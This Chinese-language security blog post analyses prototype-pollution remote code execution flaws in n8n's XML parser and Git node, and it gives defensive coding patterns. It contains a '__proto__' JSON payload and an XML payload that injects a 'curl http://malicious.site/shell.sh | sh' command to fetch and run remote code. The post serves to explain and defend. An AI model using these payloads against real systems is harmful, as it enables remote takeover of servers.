Back to all posts
Cybersecurity

原型污染重装上阵:深入剖析 n8n 的五个 9.4 分 RCE 漏洞

如果你在构建 Node.js 应用程序,我需要你停下手中的一切,密切关注。2026 年 5 月 22 日,新加坡网络安全局 (CSA) 和全球安全研究小组向流行的开源工作流自动化平台 n8n 的用户发布了紧急公告。

n8n 紧急推出了安全补丁,解决了五个严重的漏洞,这些漏洞带有惊人的 CVSS v4.0 评分 9.4(包括 CVE-2026-42231、CVE-2026-42232 和 CVE-2026-44789)。这些安全漏洞集中在一个经典的、持续存在的且高度危险的 Node.js 漏洞向量上:原型污染 (Prototype Pollution)。当链接在一起时,攻击者可以触发远程代码执行 (RCE) 或在托管服务器上进行任意系统文件读取。

我花了一个上午剖析这些补丁。让我们揭开 JavaScript 原型污染机制的神秘面纱,重构 n8n 的 XML 解析器节点如何允许这种污染级联到系统级 RCE,并看看我推荐的编程模式,以消除您自己的 Node.js Web 应用程序中的这些向量。


理解原型污染

要了解 n8n 是如何成为受害者的,我们首先必须了解 JavaScript 原型继承的独特设计。

在 JavaScript 中,对象从原型对象继承属性和方法。如果创建一个简单的对象 const dev = { name: "Elvis" },它隐式地继承自 Object.prototype。

如果应用程序在没有严格的键验证的情况下,递归地将用户控制的 JSON 或 XML 负载合并或解析到对象中,攻击者可以传递包含特殊魔法键 __proto__ 的负载。

易受攻击的模式:

让我们看一个经典的易受攻击的对象合并实用程序:

// 一个经典递归合并,这是一场彻底的安全灾难
function insecureMerge(target, source) {
  for (let key in source) {
    if (typeof target[key] === 'object' && typeof source[key] === 'object') {
      insecureMerge(target[key], source[key]);
    } else {
      // 直接赋值允许 __proto__ 属性注入
      target[key] = source[key];
    }
  }
  return target;
}

// 作为 JSON 传递的攻击负载
const attackerPayload = JSON.parse('{"__proto__": {"isAdmin": true}}');
const userSession = {};

insecureMerge(userSession, attackerPayload);

// 现在,在此 Node.js 进程中创建的每个对象都继承了 'isAdmin' 属性!
const normalUser = {};
console.log(normalUser.isAdmin); // 输出:true!(你的原型已被成功污染)

通过污染 Object.prototype,攻击者可以在整个运行时环境中全局注入属性。


重构 n8n RCE 链

n8n 漏洞套件强调了简单的原型污染如何被用来破坏完整的应用服务器。

                  [ 攻击者恶意 XML / JSON 负载 ]
                                      │
                                      ▼
               [ n8n Webhook / XML / HTTP 请求解析器 ]
                    (易受攻击的 xml2js 库解析了 __proto__)
                                      │
                                      ▼
                      [ Object.prototype 被污染 ]
                  (全局运行时属性被操纵)
                                      │
                                      ▼
                        [ n8n Git 节点执行 ]
           (提取系统属性:例如,gitPath / shell 命令)
                                      │
                                      ▼
                      [ 远程代码执行 (RCE) ]
                   (恶意 shell 命令在主机上运行)

通过 xml2js 注入 (CVE-2026-42231)

问题的根源在于 n8n 的 Webhook、XML 和 HTTP Request 节点中使用的解析库。具体来说,XML 解析器节点使用流行的 xml2js 解析器处理 XML 负载。

由于未能过滤 constructor 和 prototype 等特殊键,攻击者可以传输构造的 XML 负载来污染进程的基础原型:

<!-- 通过 XML 的概念原型污染负载 -->
<root>
  <constructor>
    <prototype>
      <gitPath>/bin/sh -c "curl http://malicious.site/shell.sh | sh"</gitPath>
    </prototype>
  </constructor>
</root>

Git 节点中的 RCE 链 (CVE-2026-44790)

这里就是链条变得致命的地方。n8n 具有一个 Git 节点,允许工作流克隆、提交和推送配置。执行 Git 节点时,它会引用内部路径实用程序来查找本地系统的 git 可执行文件:

// 在易受攻击的工作流执行逻辑内部
const execPath = options.gitPath || 'git'; // 如果 options.gitPath 未定义,它会检查原型
child_process.exec(`${execPath} status`, ...);

在正常情况下,options.gitPath 是未定义的,因此系统默认为安全的 'git' 二进制文件。然而,因为攻击者通过 XML 节点漏洞成功污染了 Object.prototype.gitPath,检查 options.gitPath 返回了注入的恶意 shell 命令!

当 Git 节点运行 exec() 时,它执行了 shell 脚本,授予攻击者对 n8n 主机系统的完全远程 shell 控制权。


阻止魔法键

如果您正在开发 Node.js 或 JavaScript 后端 API,有三种主要的设计模式可以永久消除原型污染。

1. 在解析器中拒绝键名

在编写自定义合并、复制或解析函数时,明确拒绝引用原型属性的键:

// 显式阻止列表以阻止 __proto__ 注入
const BLACKLIST = ['__proto__', 'constructor', 'prototype'];

function secureMerge(target, source) {
  for (let key in source) {
    if (BLACKLIST.includes(key)) continue; // 默默丢弃恶意键
    
    if (typeof target[key] === 'object' && typeof source[key] === 'object') {
      secureMerge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

2. 创建没有原型的对象

创建键值查找表或配置存储时,实例化没有标准原型链的对象。使用 Object.create(null) 创建一个不继承自 Object.prototype 的字典,使其免受全局污染查找:

// 一个完全空白的字典,没有要污染的原型属性
const dict = Object.create(null);
console.log(dict.toString); // undefined

专家提示:在生产环境中冻结原型

作为终极故障保护,您可以在应用程序的入口点冻结全局 Object.prototype。这可以防止在初始化后对核心原型进行任何修改:

// 冻结基线 Object 以中和所有原型污染尝试
Object.freeze(Object.prototype);

结论

JavaScript 的灵活性是其最大的优势,但如果你盲目信任传入的 JSON/XML,原型继承就是一个经典的“搬起石头砸自己的脚”。清理您的解析树,使用 Object.create(null),在生产环境中冻结您的全局原型,并立即更新您的 n8n 实例。


参考与官方来源